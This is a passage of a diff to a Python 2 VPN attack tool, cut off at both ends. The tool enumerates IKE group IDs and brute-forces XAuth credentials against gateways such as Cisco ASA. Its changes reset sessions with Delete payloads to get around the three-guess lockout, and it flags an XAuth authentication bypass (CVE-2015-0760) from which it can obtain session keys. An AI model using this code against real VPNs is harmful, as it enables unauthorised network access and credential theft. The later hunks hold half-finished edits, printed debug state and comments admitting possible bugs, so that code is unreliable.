ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): try: respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType) except IndexError: - print "[*]Correct ID Found: %s. However this Group/ID probably does not have a PSK associated with it and the handshake will not complete. Continuing...\n"%IDdata + if debug > 0: + print "[*]Potential Correct ID Found: %s. However this Group/ID probably does not have a PSK associated with it and the handshake will not complete. Continuing...\n"%IDdata continue dicCrypto.update(respDict) @@ -631,6 +749,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Encryption Key: %s"%encKey.encode('hex') initIV = ikeCrypto.calcIV(DHPubKey_i.decode('hex'),DHPubKey_r.decode('hex'), IVlen, hashType) + dicCrypto["skeyid"] = skeyid dicCrypto["skeyid_a"] = skeyid_a dicCrypto["skeyid_d"] = skeyid_d @@ -663,7 +782,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): arrayencPayload = array.array('B', encPayload) lenencPayload = len(arrayencPayload) bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) lenHDR = len(arrayHDR) bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) bytesIKE = bytesHDR+bytesencPayload @@ -763,7 +882,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): rCookie except: rCookie = "0000000000000000" - initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,0,keyLen) + initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen) time.sleep(speed) if len(packets) == 0: print "No response received, exiting...\n" @@ -792,8 +911,11 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): #Check for informational packet if ikeHDR[4] == 5: - print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + print "Informational packet received. Enable full debugging for more info. Exiting..." time.sleep(2) exit() else: @@ -895,7 +1017,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): arrayencPayload = array.array('B', encPayload) lenencPayload = len(arrayencPayload) bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) lenHDR = len(arrayHDR) bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) bytesIKE = bytesHDR+bytesencPayload @@ -918,14 +1040,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Removing packet" del packets[-1] continue - #Check for informational packet - if ikeHDR[4] == 5: - print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) - time.sleep(2) - exit() - else: - pass + #Check for a new Message ID try: if ikeHDR[5] == dicCrypto["msgID"]: @@ -944,8 +1059,20 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Invalid Message ID, too many concurrent sessions running. Wait 30 second and try again.\nExiting" time.sleep(2) exit() + + if ikeHDR[4] == 5: + print "Informational packet received. Enable full debugging for more info. Exiting..." + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + time.sleep(2) + exit() + else: + pass + #Parse full packet - respDict = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) #Update state/crypto dictionary dicCrypto.update(respDict) dicCrypto["lastBlock"] = packets[-1][-IVlen:] @@ -1045,7 +1172,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): arrayencPayload = array.array('B', encPayload) lenencPayload = len(arrayencPayload) bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) lenHDR = len(arrayHDR) bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) bytesIKE = bytesHDR+bytesencPayload @@ -1070,12 +1197,6 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): del packets[-1] continue - if ikeHDR[4] == 5: - print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) - time.sleep(2) - exit() - try: #Check for a new Message ID if ikeHDR[5] == dicCrypto["msgID"]: @@ -1095,8 +1216,17 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): time.sleep(2) exit() + if ikeHDR[4] == 5: + print "Informational packet received. Enable full debugging for more info. Exiting..." + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + time.sleep(2) + exit() + - respDict = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) #Update state/crypto dictionary dicCrypto = dict(dicCrypto.items() + respDict.items()) dicCrypto["lastBlock"] = packets[-1][-IVlen:] @@ -1140,7 +1270,6 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): if debug > 0: print "Cisco 3 guess limit reached, restarting" xType = "05" #Informational - #Process Delete payload #Hash payload arrayHash = ikeneg.ikeHash("0c",hash_i) # next payload - 12 (delete) @@ -1174,7 +1303,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): lenencPayload = len(arrayencPayload) bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) lenHDR = len(arrayHDR) bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) @@ -1199,13 +1328,14 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): pass if dicCrypto["mcfgType"] == "03" or dicCrypto["mcfgType"] == 3 and int(dicCrypto["XAUTH_STATUS"]) == 1: - #False positive check for older ASA's + #Check for XAuth authentication bypass try: aType = int(authType) except: aType = int(authType,16) if vendorType == "cisco" and aType == 1 and wordline < 1: - print "\n[-]Older ASA detected, run the tool again with authentication type 65001 (XAUTHInitPreShare) instead of type 1 (PSK). Exiting..." + print "[*]Cisco ASA is vulnerable to XAuth authentication bypass (CVE-2015-0760)" + print "Run the tool again in connect (-c) mode to get the full key to use in the ESP connection. This can be used with the Linux IPSec kernel stack in much the same way as the *swans" else: print "[*]XAUTH Authentication Successful! Username: %s Password: %s\nSending ACK packet...\n"%(username,password) @@ -1245,7 +1375,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): arrayencPayload = array.array('B', encPayload) lenencPayload = len(arrayencPayload) bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) lenHDR = len(arrayHDR) bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) bytesIKE = bytesHDR+bytesencPayload @@ -1279,7 +1409,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): lenencPayload = len(arrayencPayload) bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) lenHDR = len(arrayHDR) bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) @@ -1308,7 +1438,10 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): #Exit on receiving informational packet if ikeHDR[4] == 5: print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) time.sleep(2) exit() else: @@ -1350,7 +1483,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): lenencPayload = len(arrayencPayload) bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) lenHDR = len(arrayHDR) bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) @@ -1387,13 +1520,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Removing packet" del packets[-1] continue - if ikeHDR[4] == 5: - print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) - time.sleep(2) - exit() - else: - pass + try: if ikeHDR[5] == dicCrypto["msgID"]: if debug > 0: @@ -1412,7 +1539,18 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): time.sleep(2) exit() - respDict = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + if ikeHDR[4] == 5: + print "Informational packet received. Enable full debugging for more info. Exiting..." + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + time.sleep(2) + exit() + else: + pass + + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) #Update state/crypto dictionary dicCrypto.update(respDict) dicCrypto["lastBlock"] = packets[-1][-IVlen:] @@ -1437,15 +1575,11 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): except: rCookie = "0000000000000000" - initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,0,keyLen) + initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen) time.sleep(speed) - if len(packets) == 0: - print "No response received, exiting...\n" - time.sleep(2) - exit() dicCrypto = dict(initDict.items()) while len(packets) < 1: - time.sleep(0.5) + time.sleep(0.2) if len(packets) == 1: if debug > 0: @@ -1466,10 +1600,71 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): #Check for informational packet if ikeHDR[4] == 5: - print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) - time.sleep(2) - exit() + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + if respDict["notmsgType"] == 16: + if debug > 0: + print "Malformed Payload message received - retrying" + print "(%s:%s)"%(username,password) + + xType = "05" #Informational + #Process Delete payload + #Hash payload + if debug > 0: + print "Sending Delete payload to reset connection" + arrayHash = ikeneg.ikeHash("0c",hash_i) # next payload - 12 (delete) + lenHash = len(arrayHash) + bytesHash = struct.pack(("B"*lenHash),*arrayHash) + #Delete payload + arrayDel = ikeneg.ikeDelete("00",iCookie,rCookie) + lenDel = len(arrayDel) + bytesDel = struct.pack(("B"*lenDel),*arrayDel) + + #Encrypt everything but the header + plainData = (bytesHash+bytesDel) + plainPayload = ikeCrypto.calcPadding(encType, plainData) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + + #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created + #Calc message ID and current IV + msgID = "0000111b" + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') + + arrayencPayload = array.array('B', encPayload) + lenencPayload = len(arrayencPayload) + bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) + + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + lenHDR = len(arrayHDR) + bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) + + #Send Delete payload + bytesIKE = bytesHDR+bytesencPayload + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + time.sleep(5) + del nonce_i,nonce_r,DHPubKey_i,ID_i,ID_r,rCookie,iCookie,msgID,privKey,DHPubKey_r,SA_i,xType,initIV,curIV + del packets[:] + del dupPackets[:] + del listVIDs[:] + dicCrypto.clear() + respDict.clear() + initDict.clear() + dicVIDs.clear() + continue + + + else: + print "Informational packet received. Enable full debugging for more info. Exiting..." + time.sleep(2) + exit() + else: pass @@ -1511,7 +1706,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): #Construct final aggressive mode exchange packet if debug > 0: - print "\n--------------------Sending second aggressive mode packet--------------------" + print "\n--------------------Sending second Aggressive Mode packet--------------------" #Run Crypto Functions - DH first ikeDH = dh.DiffieHellman(DHGroup) secret = ikeDH.genSecret(privKey,int(DHPubKey_r,16)) @@ -1567,7 +1762,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): arrayencPayload = array.array('B', encPayload) lenencPayload = len(arrayencPayload) bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) lenHDR = len(arrayHDR) bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) bytesIKE = bytesHDR+bytesencPayload @@ -1586,18 +1781,11 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): pass else: if debug > 0: - print "Packet received does not match this session, this is probably from a previous incarnation." + print "Packet received does not match this session, this is probably from a previous incarnation.1" print "Removing packet" del packets[-1] continue - if ikeHDR[4] == 5: - print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) - time.sleep(2) - exit() - else: - pass #Check for a new Message ID try: if ikeHDR[5] == dicCrypto["msgID"]: @@ -1616,8 +1804,77 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Invalid Message ID, too many concurrent sessions running. Wait 30 second and try again.\nExiting" time.sleep(2) exit() + + #Check for informational packet + if ikeHDR[4] == 5: + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + if respDict["notmsgType"] == 16: + if debug > 0: + print "Malformed Payload message received - retrying\n\n" + print "(%s:%s)"%(username,password) + + xType = "05" #Informational + #Process Delete payload + #Hash payload + if debug > 0: + print "Sending Delete payload to reset connection" + arrayHash = ikeneg.ikeHash("0c",hash_i) # next payload - 12 (delete) + lenHash = len(arrayHash) + bytesHash = struct.pack(("B"*lenHash),*arrayHash) + + #Delete payload + arrayDel = ikeneg.ikeDelete("00",iCookie,rCookie) + lenDel = len(arrayDel) + bytesDel = struct.pack(("B"*lenDel),*arrayDel) + + #Encrypt everything but the header + plainData = (bytesHash+bytesDel) + plainPayload = ikeCrypto.calcPadding(encType, plainData) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + + #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created + #Calc message ID and current IV + msgID = "0000111b" + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') + + arrayencPayload = array.array('B', encPayload) + lenencPayload = len(arrayencPayload) + bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) + + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + lenHDR = len(arrayHDR) + bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) + + #Send Delete payload + bytesIKE = bytesHDR+bytesencPayload + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + time.sleep(5) + del nonce_i,nonce_r,DHPubKey_i,ID_i,ID_r,rCookie,iCookie,msgID,privKey,DHPubKey_r,SA_i,xType,initIV,curIV + del packets[:] + del dupPackets[:] + del listVIDs[:] + dicCrypto.clear() + respDict.clear() + initDict.clear() + dicVIDs.clear() + continue + + else: + print "Informational packet received. Enable full debugging for more info. Exiting..." + time.sleep(2) + exit() + + #Parse full packet - respDict = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) #Update state/crypto dictionary dicCrypto.update(respDict) dicCrypto["lastBlock"] = packets[-1][-IVlen:] @@ -1634,8 +1891,9 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): DHPubKey_r = dicCrypto["DHPubKey_r"] SA_i = dicCrypto["SA_i"] xType = int(dicCrypto["xType"]) - if xType != 6: - print "Expected Mode Config Transaction packet." + + if xType != 6: + print "Expected Mode Config Transaction packet.1" print "Exiting...\n" time.sleep(2) exit() @@ -1716,7 +1974,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): arrayencPayload = array.array('B', encPayload) lenencPayload = len(arrayencPayload) bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) lenHDR = len(arrayHDR) bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) bytesIKE = bytesHDR+bytesencPayload @@ -1727,7 +1985,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): time.sleep(0.5) - if len(packets) == 3: + if len(packets) >= 3: #Parse the header first ikeHandling = ikehandler.IKEv1Handler(debug) ikeHDR = ikeHandling.parseHeader(packets[-1]) @@ -1736,246 +1994,340 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): pass else: if debug > 0: - print "Packet received does not match this session, this is probably from a previous incarnation." + print "Packet received does not match this session, this is probably from a previous incarnation.2" print "Removing packet" + + print dicCrypto + ###***might be deleteing the wrong packet here, causing bug. looks unlikely as it would have to land in the miliseconds between processing the packet header and processing the full packet + print packets + ###***update lastblock?? + #dicCrypto["lastBlock"] = packets[-1][-IVlen:] del packets[-1] - continue - if ikeHDR[4] == 5: - ###***add check for malformed payload and retry if true - print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) - time.sleep(2) - exit() - else: - pass - - try: - #Check for a new Message ID - if ikeHDR[5] == dicCrypto["msgID"]: - if debug > 0: - print "Message ID has not changed" - - curIV = dicCrypto["lastBlock"].decode('hex') - pass - else: - if debug > 0: - print "Message ID has changed, recalculating IV" - msgID = ikeHDR[5] - curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) - pass - except: - print "Invalid Message ID, too many concurrent sessions running. Wait 30 seconds and try again.\nExiting" - time.sleep(2) - exit() - - - respDict = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) - #Update state/crypto dictionary - dicCrypto = dict(dicCrypto.items() + respDict.items()) - dicCrypto["lastBlock"] = packets[-1][-IVlen:] - #Pull the useful values from stored dictionary for crypto functions - nonce_i = dicCrypto["nonce_i"] - DHPubKey_i = dicCrypto["DHPubKey_i"] - nonce_r = dicCrypto["nonce_r"] - ID_i = dicCrypto["ID_i"] - ID_r = dicCrypto["ID_r"] - rCookie = dicCrypto["rCookie"] - iCookie = dicCrypto["iCookie"] - msgID = dicCrypto["msgID"] - privKey = dicCrypto["privKey"] - DHPubKey_r = dicCrypto["DHPubKey_r"] - SA_i = dicCrypto["SA_i"] - xType = int(dicCrypto["xType"]) - if xType != 6: - print "Expected Mode Config Transaction packet." - print "Exiting...\n" - time.sleep(2) - exit() - else: - pass - if int(dicCrypto["mcfgType"]) == 1: - if debug > 0: - print "Retransmitted XAUTH request received, Continuing..." - del packets[-1] - continue + #try packets.remove[hexPacket] - needs hexpacket defined first + ###EDIT + #continue #[-]Password not found, try another wordlist. Exiting... + #pass #IV fails to decrypt, because the message ID check doesn't take place because next step is checking if the header excahnge type is 5 (informational) which it is due to this processing + #wait for retransmission? + #time.sleep(2) + #break #goes too far out and tries to decrypt the same packet again so IV is incorrect? or updats the lastblock or doesn't when it shouldn't + break # goes to "REMOVED ELSE" then repeasts that for the remainder of the wordlist + ###/EDIT - if int(dicCrypto["mcfgType"]) == 3 and int(dicCrypto["XAUTH_STATUS"]) == 0: + if ikeHDR[4] == 5: try: - vendorType + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) except: - vendorType = "unknown" + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + ###***add in additional exception here in case decryption fails? + if respDict["notmsgType"] == 16: + #if debug > 0: + print "Malformed Payload message received - retrying\n\n" + print username,password + + #Delete payload + if debug > 0: + print "\n--------------------Sending Delete Packet--------------------" + arrayDel = ikeneg.ikeDelete("00",iCookie,rCookie) + lenDel = len(arrayDel) + bytesDel = struct.pack(("B"*lenDel),*arrayDel) + + #Encrypt everything but the header + plainData = (bytesHash+bytesDel) + plainPayload = ikeCrypto.calcPadding(encType, plainData) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created + #Calc message ID and current IV + msgID = "0000111b" + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) - if vendorType == "cisco": - if debug > 0: - "XAUTH Authentication failed, restarting connection." - if guessno == 3: - if debug > 0: - print "Cisco 3 guess limit reached, restarting" - xType = "05" #Informational + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') - #Process Delete payload - #Hash payload - arrayHash = ikeneg.ikeHash("0c",hash_i) # next payload - 12 (delete) - lenHash = len(arrayHash) - bytesHash = struct.pack(("B"*lenHash),*arrayHash) - - #Delete payload - arrayDel = ikeneg.ikeDelete("00",iCookie,rCookie) - lenDel = len(arrayDel) - bytesDel = struct.pack(("B"*lenDel),*arrayDel) + arrayencPayload = array.array('B', encPayload) + lenencPayload = len(arrayencPayload) + bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) + + arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + lenHDR = len(arrayHDR) + bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) + + #Send Delete payload + bytesIKE = bytesHDR+bytesencPayload + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + time.sleep(5) + del nonce_i,nonce_r,DHPubKey_i,ID_i,ID_r,rCookie,iCookie,msgID,privKey,DHPubKey_r,SA_i,xType,initIV,curIV + del packets[:] + del dupPackets[:] + del listVIDs[:] + dicCrypto.clear() + respDict.clear() + initDict.clear() + dicVIDs.clear() + continue + + else: + print "Informational packet received. Enable full debugging for more info. Exiting..." + time.sleep(2) + exit() + + + ###***remove this? - this just hangs becaue it doesn't process the packet eventually + ###EDIT + #else: + # pass + ###/EDIT + ###EDIT - tabbed section in + ###******IF THIS DOESN'T WORK UNTAB THE BELOW SECTION AND REINSTATE THE BOTTOM ELSE TO CATCH IF PACKET COUNT IS NOT >= 3!!!***** + else: + try: + #Check for a new Message ID + if ikeHDR[5] == dicCrypto["msgID"]: + if debug > 0: + print "Message ID has not changed 1" + print dicCrypto + print packets + curIV = dicCrypto["lastBlock"].decode('hex') + pass + else: + if debug > 0: + print "Message ID has changed, recalculating IV" + msgID = ikeHDR[5] + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + pass + except: + print "Invalid Message ID, too many concurrent sessions running. Wait 30 seconds and try again.\nExiting" + time.sleep(2) + exit() - #Encrypt everything but the header - plainData = (bytesHash+bytesDel) - plainPayload = ikeCrypto.calcPadding(encType, plainData) - if debug > 0: - print "Plain-text Payload: %s"%plainPayload.encode('hex') + + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + #Update state/crypto dictionary + dicCrypto = dict(dicCrypto.items() + respDict.items()) + dicCrypto["lastBlock"] = packets[-1][-IVlen:] + #Pull the useful values from stored dictionary for crypto functions + nonce_i = dicCrypto["nonce_i"] + DHPubKey_i = dicCrypto["DHPubKey_i"] + nonce_r = dicCrypto["nonce_r"] + ID_i = dicCrypto["ID_i"] + ID_r = dicCrypto["ID_r"] + rCookie = dicCrypto["rCookie"] + iCookie = dicCrypto["iCookie"] + msgID = dicCrypto["msgID"] + privKey = dicCrypto["privKey"] + DHPubKey_r = dicCrypto["DHPubKey_r"] + SA_i = dicCrypto["SA_i"] + xType = int(dicCrypto["xType"]) + if xType != 6: + print "Expected Mode Config Transaction packet." + print "Exiting...\n" + time.sleep(2) + exit() + else: + pass + if int(dicCrypto["mcfgType"]) == 1: + if debug > 0: + print "Retransmitted XAUTH request received, Continuing..." + del packets[-1] + continue - #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created - #Calc message ID and current IV - msgID = "0000111b" - curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) - cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) - encPayload = cipher.encrypt(plainPayload) + if int(dicCrypto["mcfgType"]) == 3 and int(dicCrypto["XAUTH_STATUS"]) == 0: + try: + vendorType + except: + vendorType = "unknown" - if debug > 0: - print "Encrypted Payload: %s"%encPayload.encode('hex') + if vendorType == "cisco": + if debug > 0: + "XAUTH Authentication failed, restarting connection." + if guessno == 3: + if debug > 0: + print "Cisco 3 guess limit reached, restarting" + xType = "05" #Informational + #Process Delete payload + #Hash payload + arrayHash = ikeneg.ikeHash("0c",hash_i) # next payload - 12 (delete) + lenHash = len(arrayHash) + bytesHash = struct.pack(("B"*lenHash),*arrayHash) + + #Delete payload + arrayDel = ikeneg.ikeDelete("00",iCookie,rCookie) + lenDel = len(arrayDel) + bytesDel = struct.pack(("B"*lenDel),*arrayDel) + + #Encrypt everything but the header + plainData = (bytesHash+bytesDel) + plainPayload = ikeCrypto.calcPadding(encType, plainData) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + + #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created + #Calc message ID and current IV + msgID = "0000111b" + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') - arrayencPayload = array.array('B', encPayload) - lenencPayload = len(arrayencPayload) - bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) - - #Send Delete payload - bytesIKE = bytesHDR+bytesencPayload - ikeneg.sendPacket(bytesIKE,targetIP,sport,port) - - del nonce_i,nonce_r,DHPubKey_i,ID_i,ID_r,rCookie,iCookie,msgID,privKey,DHPubKey_r,SA_i,xType,initIV,curIV - del packets[:] - del dupPackets[:] - del listVIDs[:] - dicCrypto.clear() - respDict.clear() - initDict.clear() - dicVIDs.clear() - break + arrayencPayload = array.array('B', encPayload) + 